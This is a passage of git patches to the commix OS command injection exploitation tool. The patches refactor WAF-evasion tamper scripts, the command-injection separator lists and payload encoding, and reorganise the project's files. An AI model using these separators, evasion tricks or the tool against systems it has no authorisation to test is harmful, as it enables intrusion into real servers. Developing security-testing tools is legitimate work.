-Notes: This tamper script works against Unix-like target(s). +Notes: This tamper script works against target(s) with a POSIX shell. Reference: http://man7.org/linux/man-pages/man3/usleep.3.html """ diff --git a/src/core/tamper/space2htab.py b/src/core/tamper/space2htab.py index bfde603872..bb8955245e 100644 --- a/src/core/tamper/space2htab.py +++ b/src/core/tamper/space2htab.py @@ -23,14 +23,14 @@ __tamper__ = "space2htab" __priority__ = settings.PRIORITY.LOWER -space2htab = "%09" +space2htab = "\t" if not settings.TAMPER_SCRIPTS[__tamper__]: settings.TAMPER_SCRIPTS[__tamper__] = True def tamper(payload): if len(settings.WHITESPACES) != 0: - if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): + if settings.WHITESPACES[0] == settings.SINGLE_WHITESPACE: settings.WHITESPACES[0] = space2htab elif space2htab not in settings.WHITESPACES: settings.WHITESPACES.append(space2htab) diff --git a/src/core/tamper/space2ifs.py b/src/core/tamper/space2ifs.py index 2179e226f0..9117fab62a 100644 --- a/src/core/tamper/space2ifs.py +++ b/src/core/tamper/space2ifs.py @@ -21,7 +21,7 @@ About: Replaces space character (%20) with the internal field separator ($IFS) in a given payload. The internal field separator refers to a variable which defines the character or characters used to separate a pattern into tokens for some operations. -Notes: This tamper script works against Unix-like target(s). +Notes: This tamper script works against target(s) with a POSIX shell. """ __tamper__ = "space2ifs" @@ -39,7 +39,7 @@ def tamper(payload): if space2ifs in settings.WHITESPACES[0] and settings.EVAL_BASED_STATE != False: settings.WHITESPACES[0] = space2ifs if settings.TARGET_OS != settings.OS.WINDOWS: - if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): + if settings.WHITESPACES[0] == settings.SINGLE_WHITESPACE: settings.WHITESPACES[0] = space2ifs elif space2ifs not in settings.WHITESPACES: settings.WHITESPACES.append(space2ifs) diff --git a/src/core/tamper/space2plus.py b/src/core/tamper/space2plus.py index 8fbeb82f2e..96e48adb61 100644 --- a/src/core/tamper/space2plus.py +++ b/src/core/tamper/space2plus.py @@ -30,7 +30,7 @@ def tamper(payload): if len(settings.WHITESPACES) != 0 and not settings.IS_JSON: - if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): + if settings.WHITESPACES[0] == settings.SINGLE_WHITESPACE: settings.WHITESPACES[0] = space2plus elif space2plus not in settings.WHITESPACES: settings.WHITESPACES.append(space2plus) diff --git a/src/core/tamper/space2vtab.py b/src/core/tamper/space2vtab.py index 6e41026072..54f3008df3 100644 --- a/src/core/tamper/space2vtab.py +++ b/src/core/tamper/space2vtab.py @@ -24,7 +24,7 @@ __tamper__ = "space2vtab" __priority__ = settings.PRIORITY.LOWER -space2vtab = "%0b" +space2vtab = "\v" def dependencies(): return checks.tamper_dep_windows_only(__tamper__) @@ -35,7 +35,7 @@ def dependencies(): def tamper(payload): if len(settings.WHITESPACES) != 0: if settings.TARGET_OS == settings.OS.WINDOWS: - if settings.WHITESPACES[0] == _urllib.parse.quote(settings.SINGLE_WHITESPACE): + if settings.WHITESPACES[0] == settings.SINGLE_WHITESPACE: settings.WHITESPACES[0] = space2vtab elif space2vtab not in settings.WHITESPACES: settings.WHITESPACES.append(space2vtab) diff --git a/src/core/tamper/uninitializedvariable.py b/src/core/tamper/uninitializedvariable.py index 9f88e4a3ea..944ddc0b11 100644 --- a/src/core/tamper/uninitializedvariable.py +++ b/src/core/tamper/uninitializedvariable.py @@ -21,7 +21,7 @@ """ About: Adds (randomly generated) uninitialized bash variables between the characters of each command in a given payload. -Notes: This tamper script works against Unix-like target(s). +Notes: This tamper script works against target(s) with a POSIX shell. Reference: https://www.secjuice.com/web-application-firewall-waf-evasion/ """ diff --git a/src/utils/menu.py b/src/utils/menu.py index 6a4da7b817..4d54166823 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -637,7 +637,7 @@ def banner(): action="store", dest="os", default=False, - help="Force back-end operating system (e.g. 'Windows' or 'Unix').") + help="Force back-end operating system (e.g. 'Windows' or 'Unix-like').") injection.add_option("--tamper", action="store", diff --git a/src/utils/settings.py b/src/utils/settings.py index 15774a4dfa..416a0a8f2a 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -176,8 +176,23 @@ def print_info_msg(info_msg): def print_bold_info_msg(info_msg): return _format_msg(INFO_BOLD_SIGN, info_msg, bold=True) +# How a line break is shown in a payload, so it does not split the line. +ESCAPED_CR = "\\r" +ESCAPED_CRLF = "\\r\\n" + # Print payload (verbose mode) def print_payload(payload): + """ + One rendering for every payload that is shown, so the same payload never reads two ways. + + It is shown as it is built - real separators, real spaces - because that is the form worth + reading and pasting; the wire form, with everything escaped for the request, is what the traffic + at '-v 2' is for. The only thing changed is a line break, which would otherwise put half the + payload on a line of its own and make it look like two. + """ + for sequence, shown in ((END_LINE.CRLF, ESCAPED_CRLF), (END_LINE.CR, ESCAPED_CR), + (END_LINE.LF, END_LINE.ESCAPED_LF)): + payload = payload.replace(sequence, shown) return _format_msg(PAYLOAD_SIGN, payload) # Print HTTP traffic (verbose mode) @@ -335,7 +350,7 @@ def sys_argv_errors(): DESCRIPTION_FULL = "Automated All-in-One OS Command Injection Exploitation Tool" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "128" +REVISION = "129" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -399,13 +414,51 @@ def sys_argv_errors(): SAFE_QUERY = SAFE_PATH + "=?&" """ -Safe query-string characters; allow '+' only when it is the active whitespace substitute. +Characters left unescaped inside a payload. + +Only '%', so that the encoded sequences the payloads write for themselves survive - everything else +is escaped, the '&' and '=' that would otherwise end the parameter the payload travels in included. +The carrier is encoded separately, and keeps those two, being where they do the separating. +""" +SAFE_PAYLOAD = "%" + +""" +A query string this long risks being cut off, so characters are given back to it one at a time. + +Servers and proxies put their own limit on a request line, and an encoded payload is several times +the length of what it stands for. These four are legal in a query unencoded, so handing them back +shortens it without changing what the target reads - taken in turn, and only while it is still +over length, so a request that was never near the limit is encoded exactly as any other. +""" +URLENCODE_CHAR_LIMIT = 2000 +URLENCODE_FAILSAFE_CHARS = "()|," + +""" +Whether '+' is one of the whitespace substitutes this run may use. + +Asked of the whole list rather than its first entry: a tamper script can append a substitute rather +than replace one, and 'multiplespaces' repeats whichever is there - so a run that really does send +'+' for a space had its pluses escaped, and the target read them back as pluses rather than spaces. +""" +def plus_is_whitespace(): + return any(substitute and set(substitute) == set("+") for substitute in WHITESPACES) + +""" +Safe query-string characters; allow '+' only when it is a whitespace substitute in use. """ def query_safe_chars(): - if len(WHITESPACES) != 0 and WHITESPACES[0] == "+": + if plus_is_whitespace(): return SAFE_QUERY + "+" return SAFE_QUERY +""" +Safe characters inside a payload, as above. +""" +def payload_safe_chars(): + if plus_is_whitespace(): + return SAFE_PAYLOAD + "+" + return SAFE_PAYLOAD + # Default (windows) target host's python interpreter WIN_PYTHON_INTERPRETER = "python.exe" WIN_CUSTOM_PYTHON_INTERPRETER = "C:\\Python27\\python.exe" @@ -598,10 +651,17 @@ class OS(object): # Newline and tab are part of real command output, so they have to be recoverable too. CHAR_POOL_MULTI = [9, 10] + list(range(32, 127)) -# The command injection separators. +""" +The command injection separators, as the shell reads them rather than as a URL spells them. + +Written out here and encoded once at the end, where a payload meets the thing that carries it - +so what a payload is made of stays readable, nothing has to remember which half of it was already +escaped, and a character that is not a separator at all can be escaped without disturbing one that +is. It also means '%' is a per-cent sign here, not the start of an escape. +""" SEPARATORS = [] -DEFAULT_SEPARATORS = [";", "%26", "|", ""] -SPECIAL_SEPARATORS = ["%26%26", "||", "%0a", "%0d%0a", "%1a"] +DEFAULT_SEPARATORS = [";", "&", "|", ""] +SPECIAL_SEPARATORS = ["&&", "||", "\n", "\r\n", "\x1a"] SEPARATORS_LVL1 = DEFAULT_SEPARATORS + SPECIAL_SEPARATORS SEPARATORS_LVL3 = SEPARATORS_LVL2 = SEPARATORS_LVL1 @@ -651,8 +711,8 @@ class OS(object): # Single whitespace SINGLE_WHITESPACE = " " -# The default (url-ecoded) white-space. -WHITESPACES = [_urllib.parse.quote(SINGLE_WHITESPACE)] +# The default whitespace, as a space - encoded with the rest of the payload at the end. +WHITESPACES = [SINGLE_WHITESPACE] # Reference: http://www.w3.org/Protocols/HTTP/Object_Headers.html#uri URI_HTTP_HEADER = "URI" @@ -837,6 +897,22 @@ class OS(object): # Available alternative shells AVAILABLE_INTERPRETERS = ["python"] +""" +The short names a language is just as often written as, and what each one means. + +'--eval' and '--interpreter' both take a language, so both read the same table - naming one of them +'py' should not be an error where naming it 'python' is not. +""" +LANGUAGE_ALIASES = {"py": "python", "python2": "python", "python3": "python", "php7": "php", + "php8": "php", "pl": "perl", "rb": "ruby"} + +# The name a language was given by, resolved to the one commix knows it as. +def resolve_language(name): + if not name: + return name + name = str(name).strip().lower() + return LANGUAGE_ALIASES.get(name, name) + # Available injection techniques. Out-of-band is not one of them - it is the '--oob' switch, so that # it can serve the modules too, which never go through '--technique'. AVAILABLE_TECHNIQUES = ['c','t','f'] From 757cd1f0f8c4bd8bdd4d4e92b823b809a16677bb Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Mon, 14 Sep 2026 07:31:34 +0300 Subject: [PATCH 0789/1023] Refactored project structure and reorganized files --- src/__init__.py | 4 +- src/core/__init__.py | 4 +- src/core/compat.py | 4 +- src/core/controller/__init__.py | 18 ++ .../{injections => }/controller/checks.py | 305 ++++++++++++------ .../{injections => }/controller/controller.py | 100 ++++-- .../controller/enumeration.py | 9 +- .../{injections => }/controller/execution.py | 17 +- .../controller/file_access.py | 8 +- .../{injections => }/controller/handler.py | 99 +++--- .../{injections => }/controller/injector.py | 98 ++++-- .../controller/shell_options.py | 11 +- src/core/convert.py | 1 + src/core/eval/__init__.py | 6 +- .../techniques => }/eval/eb_handler.py | 4 +- .../techniques => }/eval/eb_injector.py | 4 +- .../{injections => eval/grammars}/__init__.py | 2 +- src/core/eval/{ => grammars}/php.py | 2 +- src/core/eval/{ => grammars}/python.py | 0 .../blind => eval/payloads}/__init__.py | 2 +- .../payloads/classic.py} | 4 +- .../payloads/file_based.py} | 0 .../payloads/tempfile_based.py} | 0 .../payloads/time_based.py} | 0 .../blind/techniques/oob/__init__.py | 16 - .../blind/techniques/time_based/__init__.py | 16 - src/core/injections/controller/__init__.py | 16 - src/core/injections/results_based/__init__.py | 16 - .../results_based/techniques/__init__.py | 16 - .../techniques/classic/__init__.py | 16 - .../results_based/techniques/eval/__init__.py | 16 - src/core/injections/semiblind/__init__.py | 16 - .../semiblind/techniques/__init__.py | 16 - .../semiblind/techniques/eval/__init__.py | 16 - .../techniques/file_based/__init__.py | 16 - .../techniques/tempfile_based/__init__.py | 16 - src/core/main.py | 57 +++- src/core/modules/__init__.py | 4 +- src/core/modules/modules_handler.py | 4 +- src/core/modules/shellshock/__init__.py | 4 +- src/core/modules/shellshock/shellshock.py | 15 +- src/core/oob/__init__.py | 1 + src/core/oob/crypto.py | 1 + src/core/oob/interactsh.py | 1 + src/core/oob/provider.py | 7 + .../blind/techniques => parse}/__init__.py | 2 +- src/{utils/menu.py => core/parse/cmdline.py} | 8 +- .../controller/parser.py => parse/request.py} | 5 +- src/core/requests/__init__.py | 4 +- src/core/requests/authentication.py | 7 +- src/core/requests/cookies.py | 2 +- src/core/requests/headers.py | 12 +- src/core/requests/parameters.py | 8 +- src/core/requests/proxy.py | 4 +- src/core/requests/redirection.py | 6 +- src/core/requests/reproduce.py | 4 +- src/core/requests/requests.py | 152 ++++----- src/core/requests/stability.py | 5 + src/core/requests/tor.py | 5 +- src/core/shells/__init__.py | 4 +- src/core/shells/bind_tcp.py | 7 +- src/core/shells/modes.py | 7 +- src/core/shells/reverse_tcp.py | 8 +- src/core/shells/session_relay.py | 3 +- src/core/tamper/__init__.py | 16 - .../eval => techniques}/__init__.py | 2 +- src/core/techniques/classic/__init__.py | 18 ++ .../techniques/classic/cb_handler.py | 2 +- .../techniques/classic/cb_injector.py | 4 +- .../techniques/classic/cb_payloads.py | 2 +- src/core/techniques/file_based/__init__.py | 18 ++ .../techniques/file_based/fb_handler.py | 2 +- .../techniques/file_based/fb_injector.py | 4 +- .../techniques/file_based/fb_payloads.py | 4 +- src/core/techniques/oob/__init__.py | 18 ++ .../blind => }/techniques/oob/oob_handler.py | 2 +- .../blind => }/techniques/oob/oob_injector.py | 6 +- .../blind => }/techniques/oob/oob_payloads.py | 27 +- .../techniques/tempfile_based/__init__.py | 18 ++ .../techniques/tempfile_based/tfb_handler.py | 8 +- .../techniques/tempfile_based/tfb_injector.py | 4 +- .../techniques/tempfile_based/tfb_payloads.py | 76 ++--- src/core/techniques/time_based/__init__.py | 18 ++ .../techniques/time_based/tb_handler.py | 4 +- .../techniques/time_based/tb_injector.py | 4 +- .../techniques/time_based/tb_payloads.py | 2 +- src/core/testing.py | 2 + src/tamper/__init__.py | 18 ++ src/{core => }/tamper/backslashes.py | 6 +- src/{core => }/tamper/backticks.py | 8 +- src/{core => }/tamper/base64encode.py | 5 +- src/{core => }/tamper/caret.py | 7 +- src/{core => }/tamper/dollaratsigns.py | 6 +- src/{core => }/tamper/doublequotes.py | 5 +- src/{core => }/tamper/hexencode.py | 5 +- src/{core => }/tamper/multiplespaces.py | 3 +- src/{core => }/tamper/nested.py | 9 +- src/{core => }/tamper/printf2echo.py | 7 +- src/{core => }/tamper/randomcase.py | 6 +- src/{core => }/tamper/rev.py | 6 +- src/{core => }/tamper/singlequotes.py | 6 +- src/{core => }/tamper/slash2env.py | 7 +- src/{core => }/tamper/sleep2timeout.py | 7 +- src/{core => }/tamper/sleep2usleep.py | 7 +- src/{core => }/tamper/space2htab.py | 3 +- src/{core => }/tamper/space2ifs.py | 4 +- src/{core => }/tamper/space2plus.py | 3 +- src/{core => }/tamper/space2vtab.py | 6 +- .../tamper/uninitializedvariable.py | 7 +- src/{core => }/tamper/xforwardedfor.py | 4 +- src/txt/__init__.py | 4 +- src/utils/__init__.py | 4 +- src/utils/colors.py | 2 +- src/utils/common.py | 79 +++-- src/utils/crawler.py | 8 +- src/utils/logs.py | 16 +- src/utils/purge.py | 5 +- src/utils/requirements.py | 2 +- src/utils/session_handler.py | 14 +- src/utils/settings.py | 281 ++++++++-------- src/utils/update.py | 150 +++++---- src/utils/version.py | 2 +- 122 files changed, 1264 insertions(+), 950 deletions(-) create mode 100644 src/core/controller/__init__.py rename src/core/{injections => }/controller/checks.py (93%) rename src/core/{injections => }/controller/controller.py (93%) rename src/core/{injections => }/controller/enumeration.py (98%) rename src/core/{injections => }/controller/execution.py (90%) rename src/core/{injections => }/controller/file_access.py (97%) rename src/core/{injections => }/controller/handler.py (94%) rename src/core/{injections => }/controller/injector.py (93%) rename src/core/{injections => }/controller/shell_options.py (96%) rename src/core/{injections/results_based/techniques => }/eval/eb_handler.py (95%) rename src/core/{injections/results_based/techniques => }/eval/eb_injector.py (96%) rename src/core/{injections => eval/grammars}/__init__.py (98%) rename src/core/eval/{ => grammars}/php.py (98%) rename src/core/eval/{ => grammars}/python.py (100%) rename src/core/{injections/blind => eval/payloads}/__init__.py (98%) rename src/core/{injections/results_based/techniques/eval/eb_payloads.py => eval/payloads/classic.py} (98%) rename src/core/{injections/semiblind/techniques/eval/fb_payloads.py => eval/payloads/file_based.py} (100%) rename src/core/{injections/semiblind/techniques/eval/tfb_payloads.py => eval/payloads/tempfile_based.py} (100%) rename src/core/{injections/blind/techniques/eval/eb_payloads.py => eval/payloads/time_based.py} (100%) delete mode 100644 src/core/injections/blind/techniques/oob/__init__.py delete mode 100644 src/core/injections/blind/techniques/time_based/__init__.py delete mode 100644 src/core/injections/controller/__init__.py delete mode 100644 src/core/injections/results_based/__init__.py delete mode 100644 src/core/injections/results_based/techniques/__init__.py delete mode 100644 src/core/injections/results_based/techniques/classic/__init__.py delete mode 100644 src/core/injections/results_based/techniques/eval/__init__.py delete mode 100644 src/core/injections/semiblind/__init__.py delete mode 100644 src/core/injections/semiblind/techniques/__init__.py delete mode 100644 src/core/injections/semiblind/techniques/eval/__init__.py delete mode 100644 src/core/injections/semiblind/techniques/file_based/__init__.py delete mode 100644 src/core/injections/semiblind/techniques/tempfile_based/__init__.py rename src/core/{injections/blind/techniques => parse}/__init__.py (98%) rename src/{utils/menu.py => core/parse/cmdline.py} (98%) rename src/core/{injections/controller/parser.py => parse/request.py} (98%) delete mode 100644 src/core/tamper/__init__.py rename src/core/{injections/blind/techniques/eval => techniques}/__init__.py (98%) create mode 100644 src/core/techniques/classic/__init__.py rename src/core/{injections/results_based => }/techniques/classic/cb_handler.py (95%) rename src/core/{injections/results_based => }/techniques/classic/cb_injector.py (96%) rename src/core/{injections/results_based => }/techniques/classic/cb_payloads.py (99%) create mode 100644 src/core/techniques/file_based/__init__.py rename src/core/{injections/semiblind => }/techniques/file_based/fb_handler.py (95%) rename src/core/{injections/semiblind => }/techniques/file_based/fb_injector.py (96%) rename src/core/{injections/semiblind => }/techniques/file_based/fb_payloads.py (99%) create mode 100644 src/core/techniques/oob/__init__.py rename src/core/{injections/blind => }/techniques/oob/oob_handler.py (95%) rename src/core/{injections/blind => }/techniques/oob/oob_injector.py (96%) rename src/core/{injections/blind => }/techniques/oob/oob_payloads.py (94%) create mode 100644 src/core/techniques/tempfile_based/__init__.py rename src/core/{injections/semiblind => }/techniques/tempfile_based/tfb_handler.py (94%) rename src/core/{injections/semiblind => }/techniques/tempfile_based/tfb_injector.py (97%) rename src/core/{injections/semiblind => }/techniques/tempfile_based/tfb_payloads.py (92%) create mode 100644 src/core/techniques/time_based/__init__.py rename src/core/{injections/blind => }/techniques/time_based/tb_handler.py (95%) rename src/core/{injections/blind => }/techniques/time_based/tb_injector.py (96%) rename src/core/{injections/blind => }/techniques/time_based/tb_payloads.py (99%) create mode 100644 src/tamper/__init__.py rename src/{core => }/tamper/backslashes.py (83%) rename src/{core => }/tamper/backticks.py (86%) rename src/{core => }/tamper/base64encode.py (91%) rename src/{core => }/tamper/caret.py (87%) rename src/{core => }/tamper/dollaratsigns.py (83%) rename src/{core => }/tamper/doublequotes.py (90%) rename src/{core => }/tamper/hexencode.py (91%) rename src/{core => }/tamper/multiplespaces.py (96%) rename src/{core => }/tamper/nested.py (83%) rename src/{core => }/tamper/printf2echo.py (87%) rename src/{core => }/tamper/randomcase.py (90%) rename src/{core => }/tamper/rev.py (90%) rename src/{core => }/tamper/singlequotes.py (83%) rename src/{core => }/tamper/slash2env.py (82%) rename src/{core => }/tamper/sleep2timeout.py (89%) rename src/{core => }/tamper/sleep2usleep.py (89%) rename src/{core => }/tamper/space2htab.py (93%) rename src/{core => }/tamper/space2ifs.py (90%) rename src/{core => }/tamper/space2plus.py (94%) rename src/{core => }/tamper/space2vtab.py (87%) rename src/{core => }/tamper/uninitializedvariable.py (85%) rename src/{core => }/tamper/xforwardedfor.py (91%) diff --git a/src/__init__.py b/src/__init__.py index de196a7f70..ca8037d413 100644 --- a/src/__init__.py +++ b/src/__init__.py @@ -13,4 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +pass + +# eof diff --git a/src/core/__init__.py b/src/core/__init__.py index de196a7f70..ca8037d413 100644 --- a/src/core/__init__.py +++ b/src/core/__init__.py @@ -13,4 +13,6 @@ For more see the file 'readme/COPYING' for copying permission. """ -pass \ No newline at end of file +pass + +# eof diff --git a/src/core/compat.py b/src/core/compat.py index 748bbec933..e5e6924a7b 100644 --- a/src/core/compat.py +++ b/src/core/compat.py @@ -18,4 +18,6 @@ if sys.version_info >= (3, 0): xrange = range else: - xrange = xrange \ No newline at end of file + xrange = xrange + +# eof diff --git a/src/core/controller/__init__.py b/src/core/controller/__init__.py new file mode 100644 index 0000000000..ca8037d413 --- /dev/null +++ b/src/core/controller/__init__.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python +# encoding: UTF-8 + +""" +This file is part of Commix Project (https://commixproject.com). +Copyright (c) 2014-2026 Anastasios Stasinopoulos (@ancst). + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +For more see the file 'readme/COPYING' for copying permission. +""" + +pass + +# eof diff --git a/src/core/injections/controller/checks.py b/src/core/controller/checks.py similarity index 93% rename from src/core/injections/controller/checks.py rename to src/core/controller/checks.py index 054830d0e3..31adfc5dc3 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/controller/checks.py @@ -33,7 +33,7 @@ from glob import glob from src.utils import common from src.utils import logs -from src.utils import menu +from src.core.parse import cmdline as menu from src.utils import settings from src.thirdparty.odict import OrderedDict from src.core.convert import hexdecode @@ -250,6 +250,7 @@ def custom_injection_marker_character(url, http_request_method): _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.DATA = True if not _: option = "option '--header(s)/--user-agent/--referer/--cookie'" + # Whether the value carries the marker that says where a payload goes. def has_marker(value): return bool(value) and settings.CUSTOM_INJECTION_MARKER_CHAR in re.sub(settings.PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value) @@ -289,7 +290,7 @@ def has_marker(value): """ def skipping_technique(technique, injection_type, state): if settings.VERBOSITY_LEVEL != 0 and state != True: - debug_msg = "Skipping test the " + technique_label(injection_type, technique) + ". " + debug_msg = "Skipping the " + technique_label(injection_type, technique) + "." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) """ @@ -373,8 +374,8 @@ def flush_os_shell_suggestion(): if not settings.OS_SHELL_SUGGESTION_PENDING: return settings.OS_SHELL_SUGGESTION_PENDING = False - warn_msg = "Re-run with the '--os-shell' switch to access a command shell." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + info_msg = "Re-run with the '--os-shell' switch to access a command shell." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) """ What every target is owed once it is done with, whether or not the run ends here: the out-of-band @@ -405,6 +406,7 @@ def technique_names(letters, qualified=False): name = chosen[0] if len(chosen) == 1 else ", ".join(chosen[:-1]) + " and " + chosen[-1] return name + " technique" + "s"[len(chosen) == 1:] +# The techniques this run was told to leave out, named for the message that says so. def untested_techniques(): return technique_names([_ for _ in ("c", "t", "f") if _ not in menu.options.tech]) @@ -414,9 +416,9 @@ def untested_techniques(): """ def time_based_payloads(): if menu.options.eval_sink: - from src.core.injections.blind.techniques.eval import eb_payloads as payloads + from src.core.eval.payloads import time_based as payloads else: - from src.core.injections.blind.techniques.time_based import tb_payloads as payloads + from src.core.techniques.time_based import tb_payloads as payloads return payloads """ @@ -425,9 +427,9 @@ def time_based_payloads(): """ def file_based_payloads(): if menu.options.eval_sink: - from src.core.injections.semiblind.techniques.eval import fb_payloads as payloads + from src.core.eval.payloads import file_based as payloads else: - from src.core.injections.semiblind.techniques.file_based import fb_payloads as payloads + from src.core.techniques.file_based import fb_payloads as payloads return payloads """ @@ -437,9 +439,9 @@ def file_based_payloads(): """ def tempfile_based_payloads(): if menu.options.eval_sink: - from src.core.injections.semiblind.techniques.eval import tfb_payloads as payloads + from src.core.eval.payloads import tempfile_based as payloads else: - from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads + from src.core.techniques.tempfile_based import tfb_payloads as payloads return payloads """ @@ -511,8 +513,7 @@ def quit(filename, url, hard_exit): """ def user_aborted(filename, url): settings.clear_current_line() - if os.path.exists(settings.CLI_HISTORY): - save_cmd_history() + save_cmd_history() abort_msg = "User aborted procedure " abort_msg += "during the " + assessment_phase() abort_msg += " phase (Ctrl-C pressed)." @@ -680,9 +681,11 @@ def tab_autocompleter(): def load_cmd_history(): try: cli_history = settings.CLI_HISTORY - if os.path.exists(cli_history): + # An empty file holds no history to load, and holds no header for the platform's own history + # format either - so reading it fails where there was never anything to read. + if os.path.isfile(cli_history) and os.path.getsize(cli_history): readline.read_history_file(cli_history) - except (IOError, AttributeError, UnicodeError): + except (IOError, OSError, AttributeError, UnicodeError): if settings.VERBOSITY_LEVEL != 0: warn_msg = "There was a problem loading the history file '" + cli_history + "'." if settings.IS_WINDOWS: @@ -693,14 +696,22 @@ def load_cmd_history(): Save command history. """ def save_cmd_history(): + cli_history = settings.CLI_HISTORY try: - cli_history = settings.CLI_HISTORY - if os.path.exists(cli_history): + # Written whether or not the file is already there: writing it is what creates it - though the + # directory it goes in is ours to make, and a run that ends early may not have needed it yet. + if cli_history and readline.get_current_history_length(): + directory = os.path.dirname(cli_history) + if directory and not os.path.isdir(directory): + os.makedirs(directory, exist_ok=True) readline.set_history_length(settings.MAX_HISTORY_LENGTH) readline.write_history_file(cli_history) - except (IOError, AttributeError): - warn_msg = "Unable to write the history file '" + cli_history + "'." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + except (IOError, OSError, AttributeError): + # Every path out of a run saves it, so the same failure would otherwise be reported twice. + if settings.FAILED_HISTORY_FILE != cli_history: + settings.FAILED_HISTORY_FILE = cli_history + warn_msg = "Unable to write the history file '" + cli_history + "'." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) """ Testing technique (title) @@ -802,6 +813,7 @@ def explicitly_testable(parameter): name = parameter.split("=")[0].strip().lower() return any(name == _.split("=")[0].strip().lower() for _ in settings.TESTABLE_PARAMETERS_LIST) +# Whether a parameter looks like an anti-CSRF token, which testing would only invalidate. def ignore_anticsrf_parameter(parameter): if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): if not explicitly_testable(parameter): @@ -887,19 +899,31 @@ def process_page_content(response, action): warn_msg = "Page decompression failed, turning off page compression." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - # Encode or decode page content + # Encode or decode page content, in what the page said it is written in - unless the user named + # a codec of their own with '--codec', which outranks whatever the page declares. + chosen = settings.DEFAULT_CODEC if menu.options.codec else (settings.DEFAULT_PAGE_ENCODING or settings.DEFAULT_CODEC) error_occurred = False - try: - if action == "encode" and isinstance(page, str): - return page.encode(settings.DEFAULT_CODEC, errors="replace") - else: - return page.decode(settings.DEFAULT_CODEC, errors="replace") - except (UnicodeEncodeError, UnicodeDecodeError) as err: - err_msg = "The " + str(err).split(":")[0] + ". " - error_occurred = True - except (LookupError, TypeError) as err: - err_msg = "The '" + settings.DEFAULT_CODEC + "' is " + str(err).split(":")[0] + ". " - error_occurred = True + err_msg = "" + """ + What the page declares is a claim, and a claim can be wrong. + + The codec commix was configured with is not a claim, so a failure there is worth stopping for - + but a page that names an encoding it does not honour is the target's mistake, and reading it the + configured way is a better answer than abandoning the run over it. + """ + for codec in (chosen, settings.DEFAULT_CODEC): + try: + if action == "encode" and isinstance(page, str): + return page.encode(codec, errors="replace") + else: + return page.decode(codec, errors="replace") + except (UnicodeEncodeError, UnicodeDecodeError) as err: + err_msg = "The " + str(err).split(":")[0] + ". " + except (LookupError, TypeError) as err: + err_msg = "The '" + str(codec) + "' is " + str(err).split(":")[0] + ". " + if codec == settings.DEFAULT_CODEC: + error_occurred = True + break # If there was an error, advise the user if error_occurred: @@ -1191,7 +1215,7 @@ def resumed_injection_points_summary(rows): def confirmed_injection_points_summary(): rows = settings.CONFIRMED_INJECTION_POINTS if len(rows) == 1: - header_msg = "Identified the following injection point with a total of " + str(rows[0][5]) + " HTTP(s) requests:" + header_msg = "Identified the following injection point with a total of " + str(rows[0][5]) + " HTTP(S) requests:" else: header_msg = "Identified the following injection point(s):" _injection_points_summary(header_msg, rows) @@ -1242,6 +1266,13 @@ def check_tcp_mode_result(option, other_mode): elif option == other_mode: return 3 +""" +An HTTP error code together with the reason phrase the server sent with it, where it sent one. +""" +def http_error_code_label(code, err=None): + reason = str(getattr(err, "reason", "") or "").strip() + return str(code) + (" " + reason if reason else "") + """ Whether an HTTP error code is one the user chose to ignore, with '--ignore-code'. """ @@ -1263,7 +1294,7 @@ def continue_tests(err): try: detect_waf(err.code) if int(err.code) not in settings.WARNED_HTTP_ERROR_CODES: - warn_msg = "The web server responded with an HTTP error code '" + str(err.code) + warn_msg = "The web server responded with an HTTP error code '" + http_error_code_label(err.code, err) warn_msg += "' which could interfere with the results of the tests." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.WARNED_HTTP_ERROR_CODES.add(int(err.code)) @@ -1301,7 +1332,7 @@ def unavailable_option(check_option): def no_user_enumeration_permission(): warn_msg = "It seems you do not have permission to enumerate operating system users" if settings.TARGET_OS == settings.OS.WINDOWS and menu.options.passwords: - warn_msg += ", and the option '--passwords' is not supported on Windows targets" + warn_msg += ", and the switch '--passwords' is not supported on Windows targets" UNAVAILABLE_OPTIONS.add("--passwords") warn_msg += "." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) @@ -1374,7 +1405,7 @@ def ps_check_failed(): def check_CGI_scripts(url): if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking target URL for potentially vulnerable CGI scripts." + debug_msg = "Checking the target URL for known CGI scripts." settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) CGI_SCRIPTS = common.load_list_from_file(settings.CGI_SCRIPTS, "CGI scripts list") @@ -1410,8 +1441,8 @@ def check_CGI_scripts(url): if not _: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "No potentially vulnerable CGI scripts detected in target URL." - settings.print_data_to_stdout(settings.print_bold_debug_msg(debug_msg)) + debug_msg = "No known CGI script found, skipping the '--shellshock' module." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) menu.options.shellshock = False """ @@ -1522,7 +1553,12 @@ def define_target_os(): return else: while True: - message = "Do you recognize the server's underlying operating system? " + """ + The shell is what could not be worked out; the operating system is what a person can + answer, and the shell follows from it. "the server's underlying" belonged to the banner + check that used to ask this - the question is about the target now, however it answered. + """ + message = "Do you recognize the target's operating system? " message += 